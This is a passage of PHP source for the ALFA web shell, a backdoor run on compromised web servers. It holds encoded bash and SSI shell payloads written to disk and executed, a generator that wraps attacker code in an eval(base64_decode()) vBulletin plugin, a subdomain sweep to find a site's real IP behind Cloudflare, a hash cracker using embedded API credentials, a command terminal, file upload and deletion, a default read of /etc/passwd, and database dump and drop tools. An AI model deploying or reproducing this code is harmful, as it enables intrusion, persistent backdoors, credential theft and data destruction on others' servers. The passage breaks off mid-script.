  2128. $bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
  2129. $realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
  2130. $tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
  2131. $data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
  2132. if(@is_array(@json_decode($data,true))){
  2133. __alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
  2134. echo $data;
  2135. }
  2136. }else{
  2137. echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
  2138. }
  2139. }
  2140. function alfassiShell(){
  2141. alfahead();
  2142. echo '<div class=header>';
  2143. alfaCreateParentFolder();
  2144. @chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
  2145. @mkdir('alfa_shtml',0755);
  2146. @chdir('alfa_shtml');
  2147. alfacgihtaccess('shtml');
  2148. $code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
  2149. @__write_file('alfa_ssi.shtml',__get_resource($code));
  2150. @chmod("alfa_ssi.shtml",0755);
  2151. echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
  2152. echo '</div>';
  2153. alfafooter();
  2154. }
  2155. function alfacloudflare(){
  2156. alfahead();
  2157. AlfaNum(8,9,10,7,6,5,4,3);
  2158. echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
  2159. <p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
  2160. if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  2161. $url = $_POST['alfa1'];
  2162. if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
  2163. $url = preg_replace('/^(https?):\/\//', '', $url);
  2164. $url = "http://www.".$url;
  2165. }
  2166. $headers = @get_headers($url, 1);
  2167. $server = $headers['Server'];
  2168. $subs = array('owa.','2tty.','m.','gw.','mx1.','store.','1','2','vb.','news.','download.','video','cpanel.', 'ftp.', 'server1.', 'cdn.', 'cdn2.', 'ns.', 'ns3.', 'mail.', 'webmail.', 'direct.', 'direct-connect.', 'record.', 'ssl.', 'dns.', 'help.', 'blog.', 'irc.', 'forum.', 'dl.', 'my.', 'cp.', 'portal.', 'kb.', 'support.','search.', 'docs.', 'files.', 'accounts.', 'secure.', 'register.', 'apps.', 'beta.', 'demo.', 'smtp.', 'ns2.', 'ns1.', 'server.', 'shop.', 'host.', 'web.', 'cloud.', 'api.', 'exchange.', 'app.', 'vps.', 'owa.', 'sat.', 'bbs.', 'movie.', 'music.', 'art.', 'fusion.', 'maps.', 'forums.', 'acc.', 'cc.', 'dev.', 'ww42.', 'wiki.', 'clients.', 'client.','books.','answers.','service.','groups.','images.','upload.','up.','tube.','users.','admin.','administrator.','private.','design.','whmcs.','wp.','wordpress.','joomla.','vbulletin.','test.','developer.','panel.','contact.');
  2169. if(preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url, $matches)){
  2170. if($matches[2] != 'www'){$url = preg_replace('/^(https?):\/\//', '', $url);}else{
  2171. $url = explode($matches[0], $url);
  2172. $url = $url[1];}}
  2173. if(is_array($server))$server = $server[0];
  2174. echo __pre();
  2175. if(preg_match('/cloudflare/i', $server))
  2176. echo "\n[+] CloudFlare detected: {$server}\n<br>";
  2177. else
  2178. echo "\n[+] CloudFlare wasn't detected, proceeding anyway.\n";
  2179. echo '[+] CloudFlare IP: ' . is_ipv4(gethostbyname($url)) . "\n\n<br><br>";
  2180. echo "[+] Searching for more IP addresses.\n\n<br><br>";
  2181. for($x=0;$x<count($subs);$x++){
  2182. $site = $subs[$x] . $url;
  2183. $ip = is_ipv4(gethostbyname($site));
  2184. if($ip == '(Null)')
  2185. continue;
  2186. echo "Trying {$site}: {$ip}\n<br>";
  2187. }
  2188. echo "\n[+] Finished.\n<br>";
  2189. }
  2190. echo '</div>';
  2191. alfafooter();
  2192. }
  2193. function is_ipv4($ip){
  2194. return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
  2195. }
  2196. function __alert($s){
  2197. echo '<center>'.__pre().$s.'</center>';
  2198. }
  2199. function create_table($data){
  2200. echo '<table border="1">';
  2201. foreach ($data as $key => $val){
  2202. $array = array();
  2203. foreach($val as $k => $v){
  2204. $array[$k] = $v;
  2205. }
  2206. echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
  2207. }
  2208. echo '</table>';
  2209. }
  2210. function alfaphp2xml(){
  2211. alfahead();
  2212. AlfaNum(8,9,10,7,6,5,4,3);
  2213. echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
  2214. <p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
  2215. <input type='submit' name='go' value=' ' /></p></form></center>";
  2216. if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
  2217. echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
  2218. echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
  2219. echo '</textarea></center></p>';
  2220. }
  2221. echo '</center></div>';
  2222. alfafooter();
  2223. }
  2224. function alfacpcrack(){
  2225. alfahead();
  2226. echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
  2227. if($_POST['alfa1']=='dec'){
  2228. $algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
  2229. echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
  2230. <form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
  2231. foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
  2232. echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2233. if($_POST['alfa3'] == '>>'){
  2234. $hash = $_POST['alfa2'];
  2235. if(!empty($hash)){
  2236. $hash_type = $_POST['alfa4'];
  2237. $email = "zidan@subangxploits.com";
  2238. $code = "7b9fa79f92c3cd96";
  2239. $target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
  2240. $resp = @file_get_contents($target);
  2241. if($resp==''){
  2242. $get = new AlfaCURL();
  2243. $resp = $get->Send($target);
  2244. }
  2245. echo __pre().'<center>';
  2246. switch($resp){
  2247. case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
  2248. case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
  2249. case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
  2250. case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
  2251. }
  2252. if(substr($resp,0,4)!='CODE'&&$resp!=''){
  2253. echo "<b>Result: <font color='green'>".$resp."</font></b>";
  2254. }elseif(substr($resp,0,4)!='CODE'){
  2255. echo "<font color='red'>NoT Found</font><br />";
  2256. }
  2257. echo('</center>');
  2258. }
  2259. }
  2260. }
  2261. if($_POST['alfa1']=='analyzer'){
  2262. echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
  2263. <form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
  2264. <div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
  2265. if($_POST['alfa3'] == '>>'){
  2266. $hash = $_POST['alfa2'];
  2267. if(!empty($hash)){
  2268. $curl = new AlfaCURL();
  2269. $resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
  2270. echo(__pre().'<center>');
  2271. if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
  2272. echo('<font color="green">'.$s[1].'</font>');
  2273. }else{
  2274. echo('<font color="red">Not Found...!</font>');
  2275. }
  2276. echo('</center><br>');
  2277. }
  2278. }
  2279. }
  2280. echo '</div>';
  2281. alfafooter();
  2282. }
  2283. function alfafooter(){
  2284. if(!isset($_POST['ajax'])){
  2285. echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
  2286. <tr>
  2287. <td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
  2288. <td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
  2289. <td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
  2290. <td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
  2291. </tr>
  2292. <tr>
  2293. <td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
  2294. <td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
  2295. </tr>
  2296. <tr>
  2297. <td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
  2298. </tr>
  2299. <tr>
  2300. <td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
  2301. <input type='hidden' name='a' value='FilesMAn'>
  2302. <input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
  2303. <input type='hidden' name='ajax' value='true'>
  2304. <input type='hidden' name='alfa1' value='uploadFile'>
  2305. <input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
  2306. <span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>
  2307. </tr>
  2308. </table>
  2309. </div>
  2310.  
  2311. <div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>
  2312.  
  2313. <div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>
  2314.  
  2315. <div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
  2316. <div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
  2317. <div id='update-content'></div>
  2318. <div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
  2319. <div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
  2320. <div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
  2321. <div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
  2322. <div id='rightclick_menu'>
  2323. <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
  2324. <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
  2325. <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
  2326. <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
  2327. <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
  2328. <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
  2329. <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
  2330. <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
  2331. <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\"> Rename</a>
  2332. <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\"> Modify</a>
  2333. <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
  2334. <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
  2335. <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
  2336. <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
  2337. </div>
  2338. <div id=\"filesman-tab-full-path\"></div>
  2339. <div id='alert-area' class='alert-area'></div>
  2340. <div class='cl-popup-fixed' style='display:none;'>
  2341. <div id='shortcutMenu-holder'>
  2342. <div class='popup-head'></div>
  2343. <form autocomplete='off' onSubmit='return false;'>
  2344. <label class='old-path-lbl'></label>
  2345. <div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
  2346. <label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
  2347. <input type='text' name='fname'>
  2348. <div class='perm-table-holder'>
  2349. <table>
  2350. <tbody>
  2351. <tr>
  2352. <td><b>Mode</b></td>
  2353. <td>User</td>
  2354. <td>Group</td>
  2355. <td>World</td>
  2356. </tr>
  2357. <tr>
  2358. <td>Read</td>
  2359. <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
  2360. <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
  2361. <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
  2362. </tr>
  2363. <tr>
  2364. <td>Write</td>
  2365. <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
  2366. <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
  2367. <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
  2368. </tr>
  2369. <tr>
  2370. <td>Execute</td>
  2371. <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
  2372. <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
  2373. <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
  2374. </tr>
  2375. <tr>
  2376. <td>Permission</td>
  2377. <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
  2378. <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
  2379. <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
  2380. </tr>
  2381. </tbody>
  2382. </table>
  2383. </div>
  2384.  
  2385. </form>
  2386. <div class='popup-foot'>
  2387. <button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
  2388. <button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
  2389. </div>
  2390. </div>
  2391. </div>";?>
  2392. <script>
  2393. function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a 